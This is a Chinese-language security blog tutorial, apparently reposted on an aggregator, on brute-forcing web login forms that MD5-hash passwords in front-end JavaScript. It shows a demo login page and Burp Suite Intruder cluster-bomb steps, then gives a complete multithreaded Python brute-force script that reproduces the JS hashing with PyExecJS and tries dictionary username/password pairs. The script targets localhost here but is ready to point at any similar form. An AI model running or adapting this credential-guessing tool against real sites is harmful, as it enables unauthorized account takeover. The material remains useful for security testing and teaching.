Web暴力破解--前端JS表单加密进行爆破
0x01 前言
常见的js实现加密的方式有:md5、base64、shal,写了一个简单的demo作为测试。
0x02 代码
login.html
<!DOCTYPE HTML> <html> <head> <meta charset="utf-8"> <title>用户登录</title> <script type="text/ecmascript" src="md5.js"></script> <script> function checkInput() { var password_input = document.getElementById('password'); var password_md5 = document.getElementById('password_md5'); // set password password_md5.value =hex_md5(password_input.value); return true; } </script> </head> <body> <form action="login.php" method="post" onsubmit="return checkInput()"> 用户:<input type="text" id="username" name="username"> <br/> 密码:<input type="password" id="password"> <br/> <input type="hidden" id="password_md5" name="password"> <input type="submit" value="提交" /> </form> </body> </html>
提交表单,进行抓包,可以发现密码字段密码进行了加密处理:
0x03 Web暴力猜解
方式一:Burp Suite
使用Intruder进行暴力猜解,Intruder支持多种爆破模式、加密和编码支持。常见的md5、base64、shal加密方式,都可以用burpsuite直接处理。
四种爆破方式:单一字典爆破、多字段相同字典爆破、多字典位置对应爆破、聚合式爆破。
最常用的应该是在爆破用户名和密码的时候,使用聚合方式枚举了。
1、抓包发送到Intruder,标记相关参数,选择 第四种模式“Cluster bomb”
2、分别选择用户名字典和密码字典,在设置密码字典的时候,选择md5加密方式对密码字段进行加密处理
3、开始进行爆破,根据返回字段长度判断是否成功,成功获取用户名和密码字段的MD5值 admin:21232f297a57a5a743894a0e4a801fc3
4、md5解密成功,获得用户名密码 admin/admin
方式二:Python脚本
这边采用Python ExecJs来执行Js语句模拟前端对账号密码进行加密
准备:
pip install PyExecJS
phantomjs下载:https://bitbucket.org/ariya/phantomjs/downloads/phantomjs-2.1.1-windows.zip
编写Python脚本进行爆破:
#! /usr/bin/env python # _*_ coding:utf-8 _*_ import requests import threadpool from selenium import webdriver import execjs def getpass(str): with open ('md5.js','r') as js: source = js.read() phantom = execjs.get('PhantomJS') getpass = phantom.compile(source) password = getpass.call('hex_md5',str) return password def login(user,passwd): url="http://127.0.0.1/login.php" payload ={'username':user,'password':getpass(passwd)} headers={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0'} try: response = requests.post(url,data=payload,headers=headers,timeout=5) result=response.content if result.count('fail')<1: print '[success] ' +url+":"+user+':'+passwd except: pass def getLines(fileName): list=[] with open(fileName, 'r') as fd: for line in fd.readlines(): line = line.strip() if not len(line) or line.startswith('#'): continue list.append(line) return list if __name__ == '__main__': username_list=getLines('user.dict') password_list=getLines('pass.dict') userlist = [([user,passwd],None) for user in username_list for passwd in password_list] pool = threadpool.ThreadPool(20) reqs = threadpool.makeRequests(login,userlist) [pool.putRequest(req) for req in reqs] pool.wait()
成功爆破用户账号密码
0x04 END
从前台到后台是一个质的突破,本文主要对很多web 在登陆的过程中会用 js 对密码进行加密传输,梳理了一下web暴力猜解的技巧。
关于我:一个网络安全爱好者,致力于分享原创高质量干货,欢迎关注我的个人微信公众号:Bypass--,浏览更多精彩文章。
参考链接:
JS实现密码加密
http://www.cnblogs.com/mofish/archive/2012/02/25/2367858.html
js实现表单提交submit(),onsubmit
https://www.cnblogs.com/web-wjg/p/7894657.html
对登录中账号密码进行加密之后再传输的爆破的思路和方式
http://www.freebuf.com/articles/web/127888.html
低调大师中文资讯倾力打造互联网数据资讯、行业资源、电子商务、移动互联网、网络营销平台。
持续更新报道IT业界、互联网、市场资讯、驱动更新,是最及时权威的产业资讯及硬件资讯报道平台。
转载内容版权归作者及来源网站所有,本站原创内容转载请注明来源。
- 上一篇
为什么Android官方废弃SoftRefrerence软引用和WeakReference弱引用,而拥抱LruCache?
为什么Android官方废弃SoftRefrerence软引用和WeakReference弱引用,而拥抱LruCache? 一些具有Java背景的研发者喜欢使用软引用(SoftRefrerence)和弱引用(WeakReference)来缓存Java对象和数据,但是如果在Android中仍然使用软引用(SoftRefrerence)和弱引用(WeakReference),会极易导致Android程序闪退崩溃,谷歌Android官方从Android 3.0以后,强烈建议开发者不要在Android中使用软引用(SoftRefrerence)和弱引用(WeakReference),Android的谷歌官方解释(原文): Note: In the past, a popular memory cache implementation was a SoftReference or WeakReference bitmap cache, however this is not recommended. Starting from Android 2.3 (API Level 9) the garb...
- 下一篇
Java并发编程笔记之CopyOnWriteArrayList源码分析
并发包中并发List只有CopyOnWriteArrayList这一个,CopyOnWriteArrayList是一个线程安全的ArrayList,对其进行修改操作和元素迭代操作都是在底层创建一个拷贝数组(快照)上进行的,也就是写时拷贝策略。 我们首先看一下CopyOnWriteArrayList的类图有哪些属性和方法,如下图所示: 如上,CopyOnWriteArrayList的类图,每个CopyOnWriteArrayList对象里面有一个array数组对象用来存放具体元素,ReentrantLock独占锁对象用来保证同时只有一个线程对array进行修改,这里只要记得ReentrantLock是独占锁,同时只有一个线程可以获取就可以了。 那么问题来了,如果让我们自己去做一个写时拷贝的线程安全的List,我们会怎么做,要考虑哪些要点? 1.list何时初始化,初始化list元素个数为多少,list是有限大小? 2.如何保证线程安全,比如多个线程进行读写时候,如果保证是线程安全的? 3.如何使用迭代器遍历list时候的数据一致性? 那么我们就进入CopyOnWriteArrayLis...
相关文章
文章评论
共有0条评论来说两句吧...
文章二维码
点击排行
推荐阅读
最新文章
- CentOS8编译安装MySQL8.0.19
- CentOS7,CentOS8安装Elasticsearch6.8.6
- CentOS7安装Docker,走上虚拟化容器引擎之路
- Eclipse初始化配置,告别卡顿、闪退、编译时间过长
- Mario游戏-低调大师作品
- 2048小游戏-低调大师作品
- SpringBoot2初体验,简单认识spring boot2并且搭建基础工程
- SpringBoot2编写第一个Controller,响应你的http请求并返回结果
- SpringBoot2整合MyBatis,连接MySql数据库做增删改查操作
- SpringBoot2整合Thymeleaf,官方推荐html解决方案